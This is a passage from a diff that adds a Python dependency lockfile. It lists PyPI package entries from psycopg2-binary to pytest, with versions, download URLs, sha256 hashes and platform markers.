= "2024-10-16T11:19:57.762Z" }, + { url = "https://files.pythonhosted.org/packages/9e/2e/9beaea078095cc558f215e38f647c7114987d9febfc25cb2beed7c3582a5/psycopg2_binary-2.9.10-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5a507320c58903967ef7384355a4da7ff3f28132d679aeb23572753cbf2ec10b", size = 2871822, upload-time = "2024-10-16T11:20:04.693Z" }, + { url = "https://files.pythonhosted.org/packages/01/9e/ef93c5d93f3dc9fc92786ffab39e323b9aed066ba59fdc34cf85e2722271/psycopg2_binary-2.9.10-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:6d4fa1079cab9018f4d0bd2db307beaa612b0d13ba73b5c6304b9fe2fb441ff7", size = 2820975, upload-time = "2024-10-16T11:20:11.401Z" }, + { url = "https://files.pythonhosted.org/packages/a5/f0/049e9631e3268fe4c5a387f6fc27e267ebe199acf1bc1bc9cbde4bd6916c/psycopg2_binary-2.9.10-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:851485a42dbb0bdc1edcdabdb8557c09c9655dfa2ca0460ff210522e073e319e", size = 2919320, upload-time = "2024-10-16T11:20:17.959Z" }, + { url = "https://files.pythonhosted.org/packages/dc/9a/bcb8773b88e45fb5a5ea8339e2104d82c863a3b8558fbb2aadfe66df86b3/psycopg2_binary-2.9.10-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:35958ec9e46432d9076286dda67942ed6d968b9c3a6a2fd62b48939d1d78bf68", size = 2957617, upload-time = "2024-10-16T11:20:24.711Z" }, +] + +[[package]] +name = "ptyprocess" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/e5/16ff212c1e452235a90aeb09066144d0c5a6a8c0834397e03f5224495c4e/ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220", size = 70762, upload-time = "2020-12-28T15:15:30.155Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/a6/858897256d0deac81a172289110f31629fc4cee19b6f01283303e18c8db3/ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35", size = 13993, upload-time = "2020-12-28T15:15:28.35Z" }, +] + +[[package]] +name = "pure-eval" +version = "0.2.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/05/0a34433a064256a578f1783a10da6df098ceaa4a57bbeaa96a6c0352786b/pure_eval-0.2.3.tar.gz", hash = "sha256:5f4e983f40564c576c7c8635ae88db5956bb2229d7e9237d03b3c0b0190eaf42", size = 19752, upload-time = "2024-07-21T12:58:21.801Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8e/37/efad0257dc6e593a18957422533ff0f87ede7c9c6ea010a2177d738fb82f/pure_eval-0.2.3-py3-none-any.whl", hash = "sha256:1db8e35b67b3d218d818ae653e27f06c3aa420901fa7b081ca98cbedc874e0d0", size = 11842, upload-time = "2024-07-21T12:58:20.04Z" }, +] + +[[package]] +name = "py-ubjson" +version = "0.16.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1d/c7/28220d37e041fe1df03e857fe48f768dcd30cd151480bf6f00da8713214a/py-ubjson-0.16.1.tar.gz", hash = "sha256:b9bfb8695a1c7e3632e800fb83c943bf67ed45ddd87cd0344851610c69a5a482", size = 50316, upload-time = "2020-04-18T15:05:57.698Z" } + +[[package]] +name = "pyasn1" +version = "0.6.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ba/e9/01f1a64245b89f039897cb0130016d79f77d52669aae6ee7b159a6c4c018/pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034", size = 145322, upload-time = "2024-09-10T22:41:42.55Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c8/f1/d6a797abb14f6283c0ddff96bbdd46937f64122b8c925cab503dd37f8214/pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629", size = 83135, upload-time = "2024-09-11T16:00:36.122Z" }, +] + +[[package]] +name = "pyasn1-modules" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyasn1", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e9/e6/78ebbb10a8c8e4b61a59249394a4a594c1a7af95593dc933a349c8d00964/pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6", size = 307892, upload-time = "2025-03-28T02:41:22.17Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", size = 181259, upload-time = "2025-03-28T02:41:19.028Z" }, +] + +[[package]] +name = "pycodestyle" +version = "2.11.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/34/8f/fa09ae2acc737b9507b5734a9aec9a2b35fa73409982f57db1b42f8c3c65/pycodestyle-2.11.1.tar.gz", hash = "sha256:41ba0e7afc9752dfb53ced5489e89f8186be00e599e712660695b7a75ff2663f", size = 38974, upload-time = "2023-10-12T23:39:39.762Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/90/a998c550d0ddd07e38605bb5c455d00fcc177a800ff9cc3dafdcb3dd7b56/pycodestyle-2.11.1-py2.py3-none-any.whl", hash = "sha256:44fe31000b2d866f2e41841b18528a505fbd7fef9017b04eff4e2648a0fadc67", size = 31132, upload-time = "2023-10-12T23:39:38.242Z" }, +] + +[[package]] +name = "pycparser" +version = "2.23" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/cf/d2d3b9f5699fb1e4615c8e32ff220203e43b248e1dfcc6736ad9057731ca/pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2", size = 173734, upload-time = "2025-09-09T13:23:47.91Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/e3/59cd50310fc9b59512193629e1984c1f95e5c8ae6e5d8c69532ccc65a7fe/pycparser-2.23-py3-none-any.whl", hash = "sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934", size = 118140, upload-time = "2025-09-09T13:23:46.651Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-inspection", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" }, + { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" }, + { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9b/1b3f0e9f9305839d7e84912f9e8bfbd191ed1b1ef48083609f0dabde978c/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26", size = 2101980, upload-time = "2025-11-04T13:43:25.97Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ed/d71fefcb4263df0da6a85b5d8a7508360f2f2e9b3bf5814be9c8bccdccc1/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808", size = 1923865, upload-time = "2025-11-04T13:43:28.763Z" }, + { url = "https://files.pythonhosted.org/packages/ce/3a/626b38db460d675f873e4444b4bb030453bbe7b4ba55df821d026a0493c4/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc", size = 2134256, upload-time = "2025-11-04T13:43:31.71Z" }, + { url = "https://files.pythonhosted.org/packages/83/d9/8412d7f06f616bbc053d30cb4e5f76786af3221462ad5eee1f202021eb4e/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1", size = 2174762, upload-time = "2025-11-04T13:43:34.744Z" }, + { url = "https://files.pythonhosted.org/packages/55/4c/162d906b8e3ba3a99354e20faa1b49a85206c47de97a639510a0e673f5da/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84", size = 2143141, upload-time = "2025-11-04T13:43:37.701Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f2/f11dd73284122713f5f89fc940f370d035fa8e1e078d446b3313955157fe/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770", size = 2330317, upload-time = "2025-11-04T13:43:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/88/9d/b06ca6acfe4abb296110fb1273a4d848a0bfb2ff65f3ee92127b3244e16b/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f", size = 2316992, upload-time = "2025-11-04T13:43:43.602Z" }, +] + +[[package]] +name = "pydantic-settings" +version = "2.12.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dotenv", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-inspection", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/4b/ac7e0aae12027748076d72a8764ff1c9d82ca75a7a52622e67ed3f765c54/pydantic_settings-2.12.0.tar.gz", hash = "sha256:005538ef951e3c2a68e1c08b292b5f2e71490def8589d4221b95dab00dafcfd0", size = 194184, upload-time = "2025-11-10T14:25:47.013Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/60/5d4751ba3f4a40a6891f24eec885f51afd78d208498268c734e256fb13c4/pydantic_settings-2.12.0-py3-none-any.whl", hash = "sha256:fddb9fd99a5b18da837b29710391e945b1e30c135477f484084ee513adb93809", size = 51880, upload-time = "2025-11-10T14:25:45.546Z" }, +] + +[[package]] +name = "pyfakefs" +version = "5.4.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/74/8c/5a8d25e21d6b42ea6c454e24d88802d25059c7460f45663ff43215ceea65/pyfakefs-5.4.1.tar.gz", hash = "sha256:20cb51e860c2f3ff83859162ad5134bb8b0a1e7a81df0a18cfccc4862d0d9dcc", size = 203319, upload-time = "2024-04-11T18:13:49.93Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/18/e2ccdcf7dcde91e9cc6e0608cdb3177eed6d7b38096aae6d31da63086a25/pyfakefs-5.4.1-py3-none-any.whl", hash = "sha256:21d6a3276d9c964510c85cef0c568920d53ec9033da9b2a2c616489cedbe700a", size = 216311, upload-time = "2024-04-11T18:13:44.549Z" }, +] + +[[package]] +name = "pyflakes" +version = "3.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/f9/669d8c9c86613c9d568757c7f5824bd3197d7b1c6c27553bc5618a27cce2/pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f", size = 63788, upload-time = "2024-01-05T00:28:47.703Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d4/d7/f1b7db88d8e4417c5d47adad627a93547f44bdc9028372dbd2313f34a855/pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a", size = 62725, upload-time = "2024-01-05T00:28:45.903Z" }, +] + +[[package]] +name = "pygments" +version = "2.19.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" }, +] + +[[package]] +name = "pyinstrument" +version = "4.6.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/b1/3cc18e0b39f3b043c8ceda8c0d52f36fffb8e28e8773ad75cccc4dee0955/pyinstrument-4.6.2.tar.gz", hash = "sha256:0002ee517ed8502bbda6eb2bb1ba8f95a55492fcdf03811ba13d4806e50dd7f6", size = 128412, upload-time = "2024-01-26T19:50:52.107Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2b/e2/69cebd674cc61733141b51d97afe7c7dc90a37bbf2b7ea632bb4a500e888/pyinstrument-4.6.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:62f6014d2b928b181a52483e7c7b82f2c27e22c577417d1681153e5518f03317", size = 92159, upload-time = "2024-01-26T19:49:41.904Z" }, + { url = "https://files.pythonhosted.org/packages/88/70/81931097221146d909b0dd8997af59825fb29bff8a0de17bc2e60b0b1322/pyinstrument-4.6.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:dcb5c8d763c5df55131670ba2a01a8aebd0d490a789904a55eb6a8b8d497f110", size = 86613, upload-time = "2024-01-26T19:49:43.677Z" }, + { url = "https://files.pythonhosted.org/packages/55/c1/c67c96c8b9838c2720e36ddabeaf89e04de602571dd85c8bcab93bbd8067/pyinstrument-4.6.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ed4e8c6c84e0e6429ba7008a66e435ede2d8cb027794c20923c55669d9c5633", size = 105256, upload-time = "2024-01-26T19:49:44.75Z" }, + { url = "https://files.pythonhosted.org/packages/a5/44/a15a267fa9bec6c775de6be8f6285e80f503515ab4a6a00ccc186be7fc0f/pyinstrument-4.6.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6c0f0e1d8f8c70faa90ff57f78ac0dda774b52ea0bfb2d9f0f41ce6f3e7c869e", size = 103928, upload-time = "2024-01-26T19:49:46.736Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f1/a5834ab1e8fce5b293d9f8603491513488acbc15e008b61339afdf83169e/pyinstrument-4.6.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b3c44cb037ad0d6e9d9a48c14d856254ada641fbd0ae9de40da045fc2226a2a", size = 104871, upload-time = "2024-01-26T19:49:48.43Z" }, + { url = "https://files.pythonhosted.org/packages/f1/46/085a27fbe5c7c943c52b941dd15da951877dff3354d6a01275893d9566ba/pyinstrument-4.6.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:be9901f17ac2f527c352f2fdca3d717c1d7f2ce8a70bad5a490fc8cc5d2a6007", size = 109183, upload-time = "2024-01-26T19:49:49.982Z" }, + { url = "https://files.pythonhosted.org/packages/cc/48/0d836ced594b9b7215a75be5c8c3c6395a63647bb6ab41fcf86b8288a047/pyinstrument-4.6.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:8a9791bf8916c1cf439c202fded32de93354b0f57328f303d71950b0027c7811", size = 108916, upload-time = "2024-01-26T19:49:51.13Z" }, + { url = "https://files.pythonhosted.org/packages/5d/6d/1200f09197410bb48f68eef330618da21c6a870dd087d25b7d2e46528901/pyinstrument-4.6.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d6162615e783c59e36f2d7caf903a7e3ecb6b32d4a4ae8907f2760b2ef395bf6", size = 109237, upload-time = "2024-01-26T19:49:52.625Z" }, +] + +[[package]] +name = "pyjwt" +version = "2.10.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/46/bd74733ff231675599650d3e47f361794b22ef3e3770998dda30d3b63726/pyjwt-2.10.1.tar.gz", hash = "sha256:3cc5772eb20009233caf06e9d8a0577824723b44e6648ee0a2aedb6cf9381953", size = 87785, upload-time = "2024-11-28T03:43:29.933Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/61/ad/689f02752eeec26aed679477e80e632ef1b682313be70793d798c1d5fc8f/PyJWT-2.10.1-py3-none-any.whl", hash = "sha256:dcdd193e30abefd5debf142f9adfcdd2b58004e644f25406ffaebd50bd98dacb", size = 22997, upload-time = "2024-11-28T03:43:27.893Z" }, +] + +[[package]] +name = "pyopenssl" +version = "25.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/80/be/97b83a464498a79103036bc74d1038df4a7ef0e402cfaf4d5e113fb14759/pyopenssl-25.3.0.tar.gz", hash = "sha256:c981cb0a3fd84e8602d7afc209522773b94c1c2446a3c710a75b06fe1beae329", size = 184073, upload-time = "2025-09-17T00:32:21.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/81/ef2b1dfd1862567d573a4fdbc9f969067621764fbb74338496840a1d2977/pyopenssl-25.3.0-py3-none-any.whl", hash = "sha256:1fda6fc034d5e3d179d39e59c1895c9faeaf40a79de5fc4cbbfbe0d36f4a77b6", size = 57268, upload-time = "2025-09-17T00:32:19.474Z" }, +] + +[[package]] +name = "pyotp" +version = "2.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/b2/1d5994ba2acde054a443bd5e2d384175449c7d2b6d1a0614dbca3a63abfc/pyotp-2.9.0.tar.gz", hash = "sha256:346b6642e0dbdde3b4ff5a930b664ca82abfa116356ed48cc42c7d6590d36f63", size = 17763, upload-time = "2023-07-27T23:41:03.295Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/c0/c33c8792c3e50193ef55adb95c1c3c2786fe281123291c2dbf0eaab95a6f/pyotp-2.9.0-py3-none-any.whl", hash = "sha256:81c2e5865b8ac55e825b0358e496e1d9387c811e85bb40e71a3b29b288963612", size = 13376, upload-time = "2023-07-27T23:41:01.685Z" }, +] + +[[package]] +name = "pyparsing" +version = "3.2.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f2/a5/181488fc2b9d093e3972d2a472855aae8a03f000592dbfce716a512b3359/pyparsing-3.2.5.tar.gz", hash = "sha256:2df8d5b7b2802ef88e8d016a2eb9c7aeaa923529cd251ed0fe4608275d4105b6", size = 1099274, upload-time = "2025-09-21T04:11:06.277Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/5e/1aa9a93198c6b64513c9d7752de7422c06402de6600a8767da1524f9570b/pyparsing-3.2.5-py3-none-any.whl", hash = "sha256:e38a4f02064cf41fe6593d328d0512495ad1f3d8a91c4f73fc401b3079a59a5e", size = 113890, upload-time = "2025-09-21T04:11:04.117Z" }, +] + +[[package]] +name = "pyproject-hooks" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/82/28175b2414effca1cdac8dc99f76d660e7a4fb0ceefa4b4ab8f5f6742925/pyproject_hooks-1.2.0.tar.gz", hash = "sha256:1e859bd5c40fae9448642dd871adf459e5e2084186e8d2c2a79a824c970da1f8", size = 19228, upload-time = "2024-09-29T09:24:13.293Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bd/24/12818598c362d7f300f18e74db45963dbcb85150324092410c8b49405e42/pyproject_hooks-1.2.0-py3-none-any.whl", hash = "sha256:9e5c6bfa8dcc30091c74b0cf803c81fdd29d94f01992a7707bc97babb1141913", size = 10216, upload-time = "2024-09-29T09:24:11.978Z" }, +] + +[[package]] +name = "pysaml2" +version = "7.5.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "defusedxml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyopenssl", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytz", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "xmlschema", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/76/02/e8ecb5d1574a2add1431c8ec16dff137610f30580a7c1d6205929b3db3ee/pysaml2-7.5.0.tar.gz", hash = "sha256:f36871d4e5ee857c6b85532e942550d2cf90ea4ee943d75eb681044bbc4f54f7", size = 340338, upload-time = "2024-01-30T11:49:08.589Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/d1/92d84ae0e80e829e84785c6e4e425ff6d447116289f0ecf2af068f771a73/pysaml2-7.5.0-py3-none-any.whl", hash = "sha256:bc6627cc344476a83c757f440a73fda1369f13b6fda1b4e16bca63ffbabb5318", size = 419304, upload-time = "2024-01-30T11:49:04.5Z" }, +] + +[[package]] +name = "pytest" +version = "8.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "iniconfig", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pluggy", marker = "sys_platform == 'darwin' or sys_platform == 